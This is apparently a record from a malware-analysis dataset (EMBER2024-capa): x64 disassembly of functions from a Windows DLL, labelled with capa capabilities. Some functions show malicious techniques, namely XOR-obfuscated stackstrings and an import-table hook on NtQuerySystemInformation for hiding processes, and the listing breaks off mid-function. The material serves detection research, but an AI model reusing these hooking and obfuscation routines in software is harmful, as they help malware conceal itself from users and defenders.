joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800483ac
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1801ac530]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180048403
cmp word [rdx], r13w
jne 0x180048403
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180048408
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18004852d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18004854e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180048441
mov rdx, r9
mov word [rbx], cx
jmp 0x180048468
cmp r9, r8
jae 0x180048478
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180048422
jmp 0x18004852d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180048522
cmp dword [rsp + 0x80], esi
je 0x180048522
lea r8, [0x1801ac530]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1800484fa
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1800484ca
mov word [rbx], r13w
jmp 0x18004852a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1800484d7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18004852a
cmp word [rsp + 0x70], r13w
jne 0x180048507
cmp rbx, r14
je 0x1800484c4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180048308
cmp word [rsp + 0x70], r13w
je 0x18004852d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1801ac530]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180048527
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18004852d
Function at 0x18004a140
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18004a156
mov al, 1
jmp 0x18004a1b6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18004a167
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18004a1b4
mov ecx, dword [rcx + 0x18]
nop
call fcn.18004d684
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18004a1b4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18004a1b4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18004a1b4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18004a1b6
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18004c5cc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18004c5fc
xor eax, eax
jmp 0x18004c6bf
mov rbp, rbx
cmp word [rax], si
je 0x18004c621
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18004c608
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18004c604
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18004c4ec
movsxd r14, eax
test eax, eax
jne 0x18004c65f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18004c5f5
mov rcx, r14
call fcn.1800462fc
mov rdi, rax
test rax, rax
jne 0x18004c678
xor ecx, ecx
call fcn.180045ab8
jmp 0x18004c654
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18004c4ec
test eax, eax
jne 0x18004c6a9
mov rcx, rdi
call fcn.180045ab8
jmp 0x18004c6b3
xor ecx, ecx
call fcn.180045ab8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800511f0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180048308
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180048308
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180051340
cmp rax, 0xffffffffffffffff
je 0x180051340
xor edi, edi
test rbp, rbp
jle 0x1800512eb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180045a40
mov rbx, rax
test rax, rax
jne 0x180051278
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800512e1
mov edx, 0x8000
mov ecx, r14d
call fcn.180051074
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18004993c
cmp eax, 0xffffffff
je 0x1800512c1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180051288
mov edx, r15d
mov ecx, r14d
call fcn.180051074
jmp 0x1800512e1
cmp byte [rsi + 0x38], dil
je 0x1800512d8
cmp dword [rsi + 0x34], 5
jne 0x1800512d8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800512e1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180045ab8
jmp 0x180051354
jns 0x180051354
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180048308
cmp rax, 0xffffffffffffffff
jne 0x18005130c
cmp byte [rsi + 0x30], dil
je 0x180051354
mov edi, dword [rsi + 0x2c]
jmp 0x180051354
mov ecx, r14d
call fcn.18004d684
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180051354
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180051354
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18005134d
mov eax, dword [rsi + 0x2c]
jmp 0x180051352
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180048308
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1800520f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180052118
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180052118
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180002610
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
call fcn.1800042a4
and dword [rbp + 0x10], 0
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov ecx, dword [rbp + 0x10]
lea rdx, [rbp - 0x30]
and dword [rbp - 0x2c], 0
mov r8d, 0x28
and dword [rbp - 0x14], 0
and dword [rbp - 0xc], 0
and dword [rbp - 0x18], 0
and dword [rbp - 0x10], 0
and qword [rbp - 0x28], 0
mov dword [rbp - 0x20], ecx
mov rcx, rbx
mov dword [rbp - 0x30], 0x134d74f
mov dword [rbp - 0x1c], 0x11000
call qword [rbx + 0x28]
mov rcx, rbx
call fcn.180010d98
mov rdi, rax
call fcn.18001121c
mov qword [0x180035238], rax
and qword [rsp + 0x28], 0
lea r8, [0x180002508]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rbx, rax
test rax, rax
je 0x180002694
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x180002694
Function at 0x1800026d4
Capabilities:
Get common file path
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call sub.ntdll.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x190]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x18000272d
lea rcx, [rbp + 0x190]
call fcn.18001783c
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
and qword [rbp + 0x3b0], 0
lea rcx, [rbp - 0x80]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x18000275f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movabs rax, 0xb1f5694e331e1997
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x80]
movabs rax, 0x6bc1629f3926102c
mov qword [rsp + 0x58], rax
movabs rax, 0xc935ac473cdbee1
mov qword [rsp + 0x60], rax
movabs rax, 0x9ead7275034fe1de
mov qword [rsp + 0x68], rax
movabs rax, 0x9c0d6af2d1d2f7fb
mov qword [rsp + 0x70], rax
movabs rax, 0x551360233190ca10
mov qword [rsp + 0x78], rax
movabs rax, 0xb1966938336d19cb
mov qword [rsp + 0x20], rax
movabs rax, 0x6bb562ec39491044
mov qword [rsp + 0x28], rax
movabs rax, 0xcf65abc73a8becf
movups xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x9ec3723c0362e1fe
mov qword [rsp + 0x38], rax
movabs rax, 0x9c616a93d1a6f788
movups xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x40], rax
movabs rax, 0x551360233190ca7c
pxor xmm0, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rsp + 0x60]
mov qword [rsp + 0x48], rax
movups xmm2, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm0
pxor xmm2, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x30], xmm1
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.18000bb14
mov r8d, dword [0x180035250]
lea r9, [rbp + 0x3b0]
mov rdx, qword [0x180035248]
lea rcx, [rbp - 0x80]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x4a0
pop rbp
ret
Function at 0x180002c10
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x798]
sub rsp, 0x880
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
call fcn.180016458
mov r15d, 0x208
lea rcx, [rsp + 0x40]
mov r8d, r15d
xor edx, edx
mov ebx, eax
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x40]
mov ecx, ebx
call fcn.1800165d4
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea rcx, [0x180035014]
call fcn.18000bcb8
lea r8, [0x180035014]
lea rdx, [rsp + 0x40]
lea rcx, [0x1800350dc]
call fcn.18000bdf8
mov r8d, r15d
lea rcx, [rbp + 0x150]
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x40]
call fcn.1800036a0
xor ebx, ebx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
mov word [rax], bx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
cmp dword [0x180035230], ebx
je 0x180002deb
mov r8d, r15d
lea rcx, [rbp + 0x360]
xor edx, edx
call sub.ntdll.dll_memset
movabs rdi, 0xb1d06912336d19b2
lea r9, [0x180035140]
movabs rbx, 0x6bc1629f3926105f
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
lea r8, [rbp + 0x150]
movups xmm0, xmmword [rsp + 0x30]
movabs r14, 0xb1f5694e331e1997
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 0x360]
movabs rsi, 0x6bc1629f3926102c
mov qword [rsp + 0x28], rsi
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180035014]
lea rdx, [rbp + 0x360]
lea rcx, [0x180035140]
call fcn.18000bdf8
mov r8d, r15d
lea rcx, [rbp + 0x570]
xor edx, edx
call sub.ntdll.dll_memset
mov qword [rsp + 0x20], rdi
lea r9, [0x1800351a4]
mov qword [rsp + 0x28], rbx
lea r8, [rbp + 0x150]
movups xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], r14
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x38], rsi
lea rcx, [rbp + 0x570]
movdqa xmm1, xmmword [rsp + 0x30]
pxor xmm1, xmm0
movdqa xmmword [rsp + 0x20], xmm1
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180035014]
lea rdx, [rbp + 0x570]
lea rcx, [0x1800351a4]
call fcn.18000bdf8
lea rcx, [0x1800347b0]
call fcn.18000cb48
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x1800036ac
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov r10, r8
movsxd r8, edx
test edx, edx
jle 0x1800036cc
mov rdx, rcx
mov r9, r8
xor byte [rdx], 0x3a
inc rdx
sub r9, 1
jne 0x1800036c0
mov rdx, rcx
mov rcx, r10
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, 1
add rsp, 0x28
ret

Function at 0x1800036e4
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
or qword [rbp + 0x1f0], 0xffffffffffffffff
lea rcx, [rbp - 0x30]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x18000372b
call qword [sym.imp.KERNEL32.DLL_GetLastError]
xor edx, edx
mov dword [rsp + 0x20], 0x3a663a66
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x24], 0x3a4c3a49
mov dword [rsp + 0x28], 0x3a523a59
mov dword [rsp + 0x2c], 0x3a493a55
lea r8d, [rdx + 0x62]
mov dword [rsp + 0x30], 0x3a143a4e
mov dword [rsp + 0x34], 0x3a423a5f
mov dword [rsp + 0x38], 0x3a1a3a5f
mov dword [rsp + 0x3c], 0x3a513a17
mov dword [rsp + 0x40], 0x3a543a1a
mov dword [rsp + 0x44], 0x3a4e3a5f
mov dword [rsp + 0x48], 0x3a4c3a49
mov dword [rsp + 0x4c], 0x3a493a59
mov byte [rsp + 0x50], 0x3a
call sub.ntdll.dll_memset
lea r8, [rsp + 0x60]
mov edx, gethostbyname
lea rcx, [rsp + 0x20]
call fcn.1800036ac
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.18000bb14
mov r8d, dword [0x180035250]
lea r9, [rbp + 0x1f0]
mov rdx, qword [0x180035248]
lea rcx, [rbp - 0x30]
mov rbx, rax
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.18000bc88
mov rax, qword [rbp + 0x1f0]
mov rbx, qword [rsp + 0x2f8]
add rsp, 0x2e0
pop rbp
ret

Function at 0x180003808
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor eax, eax
mov dword [rbp - 0x40], 0x3a593a69
xorps xmm0, xmm0
mov dword [rbp - 0x3c], 0x3a5f3a52
lea r8, [rbp - 0x28]
mov dword [rbp - 0x38], 0x3a4f3a5e
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x34], 0x3a5f3a56
lea edx, [rax + 0x11]
mov byte [rbp - 0x30], 0x3a
movups xmmword [rbp - 0x28], xmm0
mov word [rbp - 8], ax
movups xmmword [rbp - 0x18], xmm0
call fcn.1800036ac
lea rcx, [rbp - 0x28]
call fcn.180016ad0
mov ebx, eax
test eax, eax
je 0x180003887
and qword [rbp + 0x10], 0
call fcn.18000bb14
mov r8d, dword [0x180035250]
lea r9, [rbp + 0x10]
mov rdx, qword [0x180035248]
mov ecx, ebx
call qword [rax]
jmp 0x18000388c
call fcn.1800036e4
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x180003934
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor ecx, ecx
mov qword [0x180035260], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
add rbx, rax
mov qword [rsp + 0x38], rbx
jmp 0x1800039fd
cmp dword [rbx + 0x10], 0
je 0x180003a06
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov edi, dword [rbx + 0x10]
add rdi, rax
mov qword [rsp + 0x38], rdi
jmp 0x1800039f1
cmp rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
jne 0x1800039ed
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rax, [0x180003a14]
mov r8d, 8
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add rdi, 8
mov rax, qword [rdi]
test rax, rax
jne 0x180003993
add rbx, 0x14
cmp dword [rbx], 0
jne 0x180003974
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180003be4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x3a0a3a41
xorps xmm1, xmm1
mov dword [rsp + 0x34], 0x3a023a5c
xor edx, edx
mov dword [rsp + 0x38], 0x3a093a0d
mov r8d, 0x9a
mov dword [rsp + 0x3c], 0x3a033a0c
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x40], 0x3a173a5c
movups xmmword [rbp - 0x20], xmm0
mov dword [rsp + 0x44], 0x3a0e3a5b
movups xmmword [rbp - 0x30], xmm1
mov dword [rsp + 0x48], 0x3a0f3a5f
mov dword [rsp + 0x4c], 0x3a0e3a17
mov dword [rsp + 0x50], 0x3a5c3a59
mov dword [rsp + 0x54], 0x3a173a59
mov dword [rsp + 0x58], 0x3a5e3a58
mov dword [rsp + 0x5c], 0x3a5f3a09
mov dword [rsp + 0x60], 0x3a0d3a17
mov dword [rsp + 0x64], 0x3a5f3a09
mov dword [rsp + 0x68], 0x3a0b3a0c
mov dword [rsp + 0x6c], 0x3a0e3a0f
mov dword [rsp + 0x70], 0x3a0d3a0f
mov dword [rsp + 0x74], 0x3a5e3a08
mov dword [rsp + 0x78], 0x3a473a5e
mov byte [rsp + 0x7c], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp - 0x10]
mov edx, 0x4d
lea rcx, [rsp + 0x30]
call fcn.1800036ac
xor edx, edx
mov dword [rbp - 0x80], 0x3a083a41
mov r8d, 0x9a
mov dword [rbp - 0x7c], 0x3a5b3a5c
lea rcx, [rbp + 0x90]
mov dword [rbp - 0x78], 0x3a5b3a58
mov dword [rbp - 0x74], 0x3a593a0e
mov dword [rbp - 0x70], 0x3a173a0d
mov dword [rbp - 0x6c], 0x3a5e3a0e
mov dword [rbp - 0x68], 0x3a033a5b
mov dword [rbp - 0x64], 0x3a0e3a17
mov dword [rbp - 0x60], 0x3a0b3a0a
mov dword [rbp - 0x5c], 0x3a173a09
mov dword [rbp - 0x58], 0x3a0c3a03
mov dword [rbp - 0x54], 0x3a0d3a03
mov dword [rbp - 0x50], 0x3a083a17
mov dword [rbp - 0x4c], 0x3a593a0a
mov dword [rbp - 0x48], 0x3a093a59
mov dword [rbp - 0x44], 0x3a5e3a5c
mov dword [rbp - 0x40], 0x3a0a3a0e
mov dword [rbp - 0x3c], 0x3a023a5c
mov dword [rbp - 0x38], 0x3a473a0f
mov byte [rbp - 0x34], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp + 0x90]
mov edx, 0x4d
lea rcx, [rbp - 0x80]
call fcn.1800036ac
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call qword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jns 0x180003d9c
lfence
jmp 0x180003dd0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x90]
call qword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
js 0x180003d97
xor edx, edx
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x30]
lea rcx, [rbp - 0x20]
lea r8d, [rdx + 1]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180003d97
xor eax, eax
mov rbx, qword [rsp + 0x240]
add rsp, 0x230
pop rbp
ret
Function at 0x180003de4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rdi, rdx
mov dword [rsp + 0x30], 0x3a663a66
xor edx, edx
mov dword [rsp + 0x34], 0x3a533a77
mov rbx, rcx
mov dword [rsp + 0x38], 0x3a483a59
lea rcx, [rbp + 0x90]
mov dword [rsp + 0x3c], 0x3a493a55
mov dword [rsp + 0x40], 0x3a5c3a55
lea r8d, [rdx + 0x52]
mov dword [rsp + 0x44], 0x3a663a4e
mov dword [rsp + 0x48], 0x3a6d3a66
mov dword [rsp + 0x4c], 0x3a543a53
mov dword [rsp + 0x50], 0x3a553a5e
mov dword [rsp + 0x54], 0x3a493a4d
mov byte [rsp + 0x58], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp + 0x90]
mov edx, 0x29
lea rcx, [rsp + 0x30]
call fcn.1800036ac
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm1, xmmword [rsp + 0x60]
lea rcx, [rbp - 0x20]
mov rax, qword [rbx]
movsd xmm0, qword [rsp + 0x70]
lea r9, [rbp]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x20]
mov rcx, rbx
movaps xmmword [rbp - 0x20], xmm1
lea rdx, [rbp + 0x40]
movaps xmmword [rbp], xmm1
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x40], xmm1
movsd qword [rbp - 0x10], xmm0
movsd qword [rbp + 0x10], xmm0
movsd qword [rbp + 0x30], xmm0
movsd qword [rbp + 0x50], xmm0
call qword [rax + 0x50]
test eax, eax
jns 0x180003ef7
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180003fee
lfence
movabs rcx, 0x551360233190ca10
movabs rax, 0xb1f5694e331e1997
mov qword [rbp - 0x50], rax
movabs rax, 0x6bc1629f3926102c
mov qword [rbp - 0x48], rax
movabs rax, 0xc935ac473cdbee1
mov qword [rbp - 0x40], rax
movabs rax, 0x9ead7275034fe1de
mov qword [rbp - 0x38], rax
movabs rax, 0x9c0d6af2d1d2f7fb
mov qword [rbp - 0x30], rax
movabs rax, 0xb1966927335319cb
mov qword [rsp + 0x78], rax
movabs rax, 0x6bae62ec3949105e
mov qword [rbp - 0x80], rax
movabs rax, 0xcc45a9873b9be87
movups xmm0, xmmword [rsp + 0x78]
mov qword [rbp - 0x78], rax
movabs rax, 0x9ec272110321e1b7
mov qword [rbp - 0x70], rax
movabs rax, 0x9c0d6af2d1a1f78c
movups xmm1, xmmword [rbp - 0x78]
mov qword [rbp - 0x60], rcx
pxor xmm0, xmmword [rbp - 0x50]
pxor xmm1, xmmword [rbp - 0x40]
mov qword [rbp - 0x28], rcx
lea rcx, [rbp + 0x60]
mov qword [rbp - 0x68], rax
movups xmm2, xmmword [rbp - 0x68]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x80], xmm2
movdqa xmmword [rbp + 0x70], xmm1
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbx]
mov r8, rdi
mov rdx, rax
mov r9, qword [rcx + 0x38]
mov rcx, rbx
call r9
test eax, eax
js 0x180003eec
xor eax, eax
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1800056e4
Capabilities:
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rdi, qword [rcx + 0x30]
lea rdx, [rsp + 0x40]
and dword [rsp + 0x5c], 0
xorps xmm0, xmm0
and dword [rsp + 0x64], 0
mov r8d, 0x28
and dword [rsp + 0x58], 0
mov rcx, rdi
and dword [rsp + 0x60], 0
movdqu xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x40], 0x134d74f
mov dword [rsp + 0x54], 5
call qword [rdi + 0x30]
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x208
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp - 0x70]
call fcn.180016328
mov rax, qword [0x180035240]
mov dword [0x18003526c], 1
mov rbx, qword [rax]
jmp 0x18000578e
cmp qword [rbx], 0
je 0x18000578a
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180005778
mov rax, qword [0x180035298]
mov rbx, qword [rax]
jmp 0x1800057b5
cmp qword [rbx], 0
je 0x1800057b1
mov rcx, qword [rbx + 8]
xor edx, edx
